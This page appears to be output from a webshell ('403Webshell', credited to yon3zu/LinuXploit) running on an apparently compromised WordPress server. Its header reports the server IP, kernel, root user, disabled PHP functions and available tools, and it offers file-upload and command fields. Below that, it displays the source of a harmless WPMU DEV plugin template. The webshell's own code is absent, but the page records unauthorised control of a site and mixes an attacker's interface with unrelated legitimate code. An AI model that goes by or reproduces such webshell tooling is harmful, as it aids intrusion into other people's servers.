403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/wpmudev-updates/template/sui/dashboard-templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/wpmudev-updates/template/sui/dashboard-templates/resources.php
<?php
/**
 * Dashboard template: Resources widget.
 *
 * @since   4.0.0
 *
 * @var WPMUDEV_Dashboard_Ui            $this                  UI class.
 * @var WPMUDEV_Dashboard_Sui_Page_Urls $urls                  URLs class.
 * @var string                          $type                  Membership type.
 * @var bool                            $has_hosted_access     Has hosted site access.
 * @var bool                            $is_hosted_third_party Is hosting account on third party site.
 * @var array                           $membership_data       Membership data.
 *
 * @package WPMUDEV_Dashboard
 */

$resources = array(
	'documentation' => array(
		'title'      => __( 'Documentation', 'wpmudev' ),
		'icon'       => 'page',
		'url'        => $urls->documentation_url['dashboard'],
		'has_access' => true,
	),
	'forums'        => array(
		'title'      => __( 'Member Forums', 'wpmudev' ),
		'icon'       => 'community-people',
		'url'        => $urls->community_url,
		'has_access' => WPMUDEV_Dashboard::$api->is_support_allowed() || $has_hosted_access,
	),
	'blog'          => array(
		'title'      => __( 'Blog', 'wpmudev' ),
		'icon'       => 'blog',
		'url'        => $urls->blog_url,
		'has_access' => true,
	),
	'whip'          => array(
		'title'      => __( 'The Whip', 'wpmudev' ),
		'icon'       => 'wordpress',
		'url'        => $urls->whip_url,
		'has_access' => true,
	),
	'roadmap'       => array(
		'title'      => __( 'Product Roadmap', 'wpmudev' ),
		'icon'       => 'wpmudev-logo',
		'url'        => $urls->roadmap_url,
		'has_access' => true,
	),
);

if ( ( 'free' === $type || $is_hosted_third_party ) && ! $has_hosted_access ) {
	unset( $resources['forums'] );
}

?>

<div class="sui-box">

	<div class="sui-box-header">

		<h2 class="sui-box-title">
			<i class="sui-icon-help-support" aria-hidden="true"></i>
			<?php esc_html_e( 'Resources', 'wpmudev' ); ?>
		</h2>

	</div>

	<div class="sui-box-body">
		<p><?php esc_html_e( 'Here’s a bunch of our lesser-known but supremely helpful resources and usage guides.', 'wpmudev' ); ?></p>
	</div>

	<table class="sui-table dashui-table-tools dashui-resources">
		<tbody>
		<?php foreach ( $resources as $resource ) : ?>
			<tr>
				<td class="dashui-item-content">
					<h4 class="dashui-resources-title">
						<a href="<?php echo esc_url( $resource['url'] ); ?>">
								<span style="margin-right: 10px;">
									<i class="sui-icon-<?php echo esc_attr( $resource['icon'] ); ?>" aria-hidden="true"></i>
								</span>
							<?php echo esc_html( $resource['title'] ); ?>
							<?php if ( ! $resource['has_access'] ) : ?>
								<span class="sui-tag sui-tag-pro">
									<?php esc_html_e( 'Pro', 'wpmudev' ); ?>
								</span>
							<?php endif; ?>
						</a>
					</h4>
				</td>
				<td>
					<a class="sui-button-icon" href="<?php echo esc_url( $resource['url'] ); ?>">
						<i class="sui-icon-chevron-right" aria-hidden="true"></i>
					</a>
				</td>
			</tr>
		<?php endforeach; ?>
		</tbody>
	</table>

	<?php if ( ( 'free' !== $type && ! $is_hosted_third_party ) || $has_hosted_access ) : ?>
		<div class="sui-box-footer">
			<p class="sui-block-content-center sui-p-small" style="width: 100%;">
				<?php esc_html_e( 'Still stuck?', 'wpmudev' ); ?> <a href="https://wpmudev.com/hub/support/#wpmud-chat-pre-survey-modal" target="_blank"> <?php esc_html_e( 'Open a support ticket', 'wpmudev' ); ?> </a> <?php esc_html_e( "and we'll be happy to help you.", 'wpmudev' ); ?>
			</p>
		</div>
	<?php endif; ?>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit